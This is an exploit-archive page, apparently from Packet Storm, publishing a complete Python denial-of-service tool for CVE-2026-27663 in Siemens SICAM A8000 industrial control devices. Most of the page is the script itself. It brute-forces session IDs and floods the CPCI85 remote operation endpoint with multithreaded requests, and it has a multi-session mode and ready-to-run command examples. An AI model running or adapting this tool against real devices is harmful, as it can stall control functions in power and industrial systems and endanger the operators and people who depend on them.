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๐Ÿ“„ Siemens SICAM A8000 25.30 Remote Operation Denial of Service

๐Ÿ—“๏ธย 06 Jul 2026ย 00:00:00Reported byย indoushkaTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 23ย Views

Python-based remote operation denial of service tool for Siemens SICAM A8000 using vulnerability 2026 27663.

Related
Code
ReporterTitlePublishedViews
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ATTACKERKB
CVE-2026-27663
26 Mar 202614:03
โ€“attackerkb
Circl
CVE-2026-27663
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CVE
CVE-2026-27663
26 Mar 202614:03
โ€“cve
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CVE-2026-27663
26 Mar 202614:03
โ€“cvelist
EUVD
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26 Mar 202615:30
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ICS
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26 Mar 202600:00
โ€“ics
NVD
CVE-2026-27663
26 Mar 202615:16
โ€“nvd
Packet Storm
๐Ÿ“„ Siemens SICAM A8000 25.30 Denial of Service
15 Apr 202600:00
โ€“packetstorm
Rows per page
==================================================================================================================================
    | # Title     : Siemens SICAM A8000 25.30 Remote Operation DoS                                                                   |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.siemens.com/                                                                                         |
    ==================================================================================================================================
    
    [+] Summary    :   a network stress-testing / denial-of-service (DoS) tool written in Python, modeled around a claimed vulnerability (CVE-2026-27663) affecting Siemens SICAM A8000 devices.
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import sys
    import re
    import time
    import json
    import random
    import string
    import argparse
    import threading
    import requests
    import urllib3
    from concurrent.futures import ThreadPoolExecutor, as_completed
    from collections import defaultdict
    
    urllib3.disable_warnings()
    
    BANNER = """
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘	
    โ•‘ โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— 
    โ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—
    โ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘โ–ˆโ–ˆ   โ–ˆโ•”โ•โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘
    โ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘
    โ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘
    โ•‘ โ•šโ•โ•โ•šโ•โ•  โ•šโ•โ•โ•โ•โ•šโ•โ•โ•โ•โ•โ•  โ•šโ•โ•โ•โ•โ•โ•  โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ•โ•โ•šโ•โ•  โ•šโ•โ•โ•šโ•โ•  โ•šโ•โ•โ•šโ•โ•  โ•šโ•โ•
    โ•‘                                                                             โ•‘
    โ•‘              CVE-2026-27663 - Siemens SICAM A8000                           โ•‘
    โ•‘              Remote Operation Denial of Service                             โ•‘
    โ•‘                                                                             โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    [+] Medium Severity | Uncontrolled Resource Exhaustion
    [+] Affected: SICAM A8000 CP-8050/8031/8010/8012 <= V25.31
    [+] Service: CPCI85 Remote Operation Parameterization
    """
    class Config:
        REMOTE_OP_ENDPOINT = "/SICAM_TOOLBOX_1703_remote_connection_01.htm"
        SESSION_ID_PREFIX = "008cfd320836"
        SESSION_ID_LENGTH = 4  # 4 hex digits after prefix
        DEFAULT_THREADS = 10
        DEFAULT_REQUESTS = 100
        REQUEST_TIMEOUT = 10
        USER_AGENT = "SICAM TOOLBOX II"
        HEX_CHARS = [str(x) for x in range(10)] + ['A', 'B', 'C', 'D', 'E', 'F']
        LENGTH_VALUES = [f"{i:02d}" for i in range(100)]  # 00-99
    class SICAMClient:
        """Client for interacting with the SICAM A8000 device"""
        def __init__(self, target: str, port: int, use_https: bool = False, verbose: bool = False):
            self.target = target
            self.port = port
            self.protocol = "https" if use_https else "http"
            self.base_url = f"{self.protocol}://{target}:{port}"
            self.endpoint = Config.REMOTE_OP_ENDPOINT
            self.full_url = self.base_url + self.endpoint
            self.verbose = verbose
            self.session = requests.Session()
            self.session.verify = False
            self.session.headers.update({
                'User-Agent': Config.USER_AGENT,
                'Content-Type': 'text/plain'
            })
        def _log(self, msg: str, level: str = "INFO"):
            if level == "ERROR":
                print(f"[-] {msg}")
            elif level == "SUCCESS":
                print(f"[+] {msg}")
            elif level == "WARNING":
                print(f"[!] {msg}")
            else:
                print(f"[*] {msg}")
        def check_service(self) -> bool:
            """Check service availability"""
            try:
                response = self.session.get(self.base_url, timeout=Config.REQUEST_TIMEOUT)
                return response.status_code == 200
            except:
                return False
        def brute_force_session(self, max_attempts: int = 4096) -> str:
            """Find a valid Session ID using Brute Force"""
            self._log("Starting session ID brute force...")
            self._log(f"Prefix: {Config.SESSION_ID_PREFIX}")
            total_combinations = len(Config.HEX_CHARS) ** Config.SESSION_ID_LENGTH
            self._log(f"Total combinations: {total_combinations}")
            found_session = None
            attempts = 0
            from itertools import product
            for chars in product(Config.HEX_CHARS, repeat=Config.SESSION_ID_LENGTH):
                if max_attempts and attempts >= max_attempts:
                    break
                session_id = Config.SESSION_ID_PREFIX + ''.join(chars)
                attempts += 1
                if self.verbose and attempts % 500 == 0:
                    self._log(f"Attempt {attempts}/{total_combinations}: {session_id}")
                if self._test_session(session_id):
                    found_session = session_id
                    self._log(f"Found valid session: {session_id}", "SUCCESS")
                    break
            if not found_session:
                self._log("No valid session found", "ERROR")
            return found_session
        def _test_session(self, session_id: str) -> bool:
            """Specific Session ID Test"""
            try:
                response = self.session.post(
                    self.full_url,
                    headers={'Session-ID': session_id, 'UPLOADFILENAME': 'abc.f20'},
                    data='type=20&length=1&data=A',
                    timeout=Config.REQUEST_TIMEOUT
                )
                return response.status_code == 200 and len(response.text) > 0
            except:
                return False
        def send_attack_packet(self, session_id: str, length: str) -> bool:
            """Send a DoS attack packet"""
            try:
                response = self.session.post(
                    self.full_url,
                    headers={'Session-ID': session_id, 'UPLOADFILENAME': 'abc.f20'},
                    data=f'type=20&length={length}&data=A',
                    timeout=Config.REQUEST_TIMEOUT
                )
                return response.status_code == 200
            except:
                return False
    class DoSAttacker:
        """Executing a DoS attack"""
        def __init__(self, client: SICAMClient, threads: int = 10, verbose: bool = False):
            self.client = client
            self.threads = threads
            self.verbose = verbose
            self.running = False
            self.successful_requests = 0
            self.failed_requests = 0
            self.lock = threading.Lock()
        def _log(self, msg: str, level: str = "INFO"):
            if self.verbose:
                print(f"[{level}] {msg}")
        def _attack_worker(self, session_id: str, length_values: list, worker_id: int):
            """individual attack factor"""
            for length in length_values:
                if not self.running:
                    break
                if self.client.send_attack_packet(session_id, length):
                    with self.lock:
                        self.successful_requests += 1
                    if self.verbose:
                        print(f"\r[*] Worker {worker_id}: length={length} OK", end="")
                else:
                    with self.lock:
                        self.failed_requests += 1
                    if self.verbose:
                        print(f"\r[!] Worker {worker_id}: length={length} FAILED", end="")
        def attack(self, session_id: str, total_requests: int = 100):
            """Executing the attack"""
            self.running = True
            self.successful_requests = 0
            self.failed_requests = 0
            print(f"\n[*] Starting DoS attack with {self.threads} threads")
            print(f"[*] Target: {self.client.full_url}")
            print(f"[*] Session ID: {session_id}")
            print(f"[*] Total requests: {total_requests}")
            length_values = Config.LENGTH_VALUES[:total_requests]
            chunk_size = max(1, len(length_values) // self.threads)
            chunks = [length_values[i:i + chunk_size] for i in range(0, len(length_values), chunk_size)]
            with ThreadPoolExecutor(max_workers=self.threads) as executor:
                futures = []
                for i, chunk in enumerate(chunks):
                    future = executor.submit(self._attack_worker, session_id, chunk, i)
                    futures.append(future)
                for future in as_completed(futures):
                    try:
                        future.result()
                    except Exception as e:
                        self._log(f"Worker error: {e}", "ERROR")
            print(f"\n\n[*] Attack completed!")
            print(f"[*] Successful requests: {self.successful_requests}")
            print(f"[*] Failed requests: {self.failed_requests}")
            if self.successful_requests > 0:
                print("\n[+] DoS attack likely successful!")
                print("[+] CPCI85 service should be stalled.")
                print("[+] Remote operation parameterization is no longer possible.")
            else:
                print("\n[-] Attack may have failed. Target might be patched.")
    class AdvancedDoSAttacker:
        """Advanced DoS attack using multiple sessions"""
        def __init__(self, client: SICAMClient, threads: int = 20, verbose: bool = False):
            self.client = client
            self.threads = threads
            self.verbose = verbose
            self.sessions = []
        def find_multiple_sessions(self, max_sessions: int = 5) -> list:
            """Search for valid multiple sessions"""
            found_sessions = []
            print(f"[*] Searching for up to {max_sessions} valid sessions...")
            from itertools import product
            for chars in product(Config.HEX_CHARS, repeat=Config.SESSION_ID_LENGTH):
                if len(found_sessions) >= max_sessions:
                    break
                session_id = Config.SESSION_ID_PREFIX + ''.join(chars)
                if self.client._test_session(session_id):
                    found_sessions.append(session_id)
                    print(f"[+] Found session #{len(found_sessions)}: {session_id}")
            self.sessions = found_sessions
            return found_sessions
        def multi_session_attack(self, requests_per_session: int = 100):
            """Multi-session attack"""
            if not self.sessions:
                print("[-] No sessions found. Run find_multiple_sessions() first.")
                return
            print(f"\n[*] Starting multi-session DoS attack")
            print(f"[*] Sessions: {len(self.sessions)}")
            print(f"[*] Requests per session: {requests_per_session}")
            all_lengths = Config.LENGTH_VALUES[:requests_per_session]
            def attack_session(session_id):
                for length in all_lengths:
                    self.client.send_attack_packet(session_id, length)
                return session_id
            with ThreadPoolExecutor(max_workers=len(self.sessions)) as executor:
                futures = [executor.submit(attack_session, s) for s in self.sessions]
                for future in as_completed(futures):
                    session = future.result()
                    print(f"[*] Completed attack on session: {session}")
            print("\n[+] Multi-session DoS attack completed!")
            print("[+] CPCI85 service should be severely degraded.")
    class ServiceMonitor:
        """Service monitoring and restoration"""
        def __init__(self, client: SICAMClient):
            self.client = client
        def check_service_status(self) -> dict:
            """Service status check"""
            status = {
                'accessible': False,
                'response_time': None,
                'error': None
            }
            try:
                start = time.time()
                response = self.client.session.get(
                    self.client.base_url,
                    timeout=Config.REQUEST_TIMEOUT
                )
                end = time.time()
                status['accessible'] = response.status_code == 200
                status['response_time'] = round((end - start) * 1000, 2)
            except requests.exceptions.Timeout:
                status['error'] = "Timeout"
            except requests.exceptions.ConnectionError:
                status['error'] = "Connection refused"
            except Exception as e:
                status['error'] = str(e)
            return status
        def wait_for_recovery(self, timeout: int = 300, check_interval: int = 10):
            """Waiting for service to be restored"""
            print(f"[*] Waiting up to {timeout} seconds for service recovery...")
            start_time = time.time()
            recovered = False
            while time.time() - start_time < timeout:
                status = self.check_service_status()
                if status['accessible']:
                    print(f"[+] Service recovered! (Response time: {status['response_time']}ms)")
                    recovered = True
                    break
                else:
                    print(f"[!] Service still down... ({(time.time() - start_time):.0f}s elapsed)")
                time.sleep(check_interval)
            if not recovered:
                print("[-] Service did not recover within timeout.")
                print("[-] Manual intervention required: restart via web interface or power cycle.")
            return recovered
        def suggest_recovery(self):
            """Suggested recovery methods"""
            print("\n[!] Recovery options:")
            print("    1. Access web interface and restart CPCI85 service")
            print("    2. Power cycle the device (reboot)")
            print("    3. Disable and re-enable remote operation")
            print("    4. Apply vendor patch (V26.10 or later)")
    def main():
        print(BANNER)
        parser = argparse.ArgumentParser(
            description="CVE-2026-27663 - Siemens SICAM A8000 Remote Operation DoS",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog="""
    Examples:
      python3 exploit.py -t 192.168.1.100 -p 80
      python3 exploit.py -t 192.168.1.100 --https
      python3 exploit.py -t 192.168.1.100 -p 443 --https --threads 20 --requests 500
      python3 exploit.py -t 192.168.1.100 -p 80 --bruteforce-only
      python3 exploit.py -t 192.168.1.100 -p 443 --https --multi-session --max-sessions 5
      python3 exploit.py -t 192.168.1.100 --check
            """
        )
        parser.add_argument("-t", "--target", required=True, help="Target IP address")
        parser.add_argument("-p", "--port", type=int, default=443, help="Target port (default: 443)")
        parser.add_argument("--https", action="store_true", default=True, help="Use HTTPS (default: True)")
        parser.add_argument("--http", action="store_true", help="Use HTTP instead of HTTPS")
        parser.add_argument("--threads", type=int, default=Config.DEFAULT_THREADS, help="Number of threads (default: 10)")
        parser.add_argument("--requests", type=int, default=Config.DEFAULT_REQUESTS, help="Number of requests (default: 100)")
        parser.add_argument("--bruteforce-only", action="store_true", help="Only brute force session ID")
        parser.add_argument("--multi-session", action="store_true", help="Use multiple sessions for attack")
        parser.add_argument("--max-sessions", type=int, default=5, help="Max sessions for multi-session attack")
        parser.add_argument("--check", action="store_true", help="Check service status")
        parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
        parser.add_argument("--recovery", action="store_true", help="Wait for service recovery after attack")
        parser.add_argument("--recovery-timeout", type=int, default=300, help="Recovery timeout in seconds (default: 300)")
        args = parser.parse_args()
        use_https = args.https and not args.http
        client = SICAMClient(args.target, args.port, use_https, args.verbose)
        if args.check:
            print("[*] Checking service status...")
            status = ServiceMonitor(client).check_service_status()
            if status['accessible']:
                print(f"[+] Service is accessible (Response: {status['response_time']}ms)")
            else:
                print(f"[-] Service is not accessible: {status['error']}")
            return
        if not client.check_service():
            print("[-] Cannot reach target. Check IP, port, and protocol.")
            return
        print(f"[*] Target: {client.full_url}")
        print(f"[*] Service is accessible")
        if args.bruteforce_only:
            session_id = client.brute_force_session()
            if session_id:
                print(f"\n[+] Valid session ID: {session_id}")
            return
        session_id = client.brute_force_session(max_attempts=4096)
        if not session_id:
            print("[-] No valid session found. Target may not be vulnerable.")
            return
        if args.multi_session:
            attacker = AdvancedDoSAttacker(client, args.threads, args.verbose)
            attacker.find_multiple_sessions(args.max_sessions)
            attacker.multi_session_attack(args.requests)
        else:
            attacker = DoSAttacker(client, args.threads, args.verbose)
            attacker.attack(session_id, args.requests)
        if args.recovery:
            monitor = ServiceMonitor(client)
            time.sleep(2)
            monitor.wait_for_recovery(args.recovery_timeout)
            monitor.suggest_recovery()
        print("\n[*] Exploit completed.")
    if __name__ == "__main__":
        try:
            main()
        except KeyboardInterrupt:
            print("\n[!] Interrupted by user")
            sys.exit(130)
        except Exception as e:
            print(f"[-] Error: {e}")
            sys.exit(1)
    		
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

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06 Jul 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.16.5
CVSS 47.1
EPSS0.00269
SSVC
23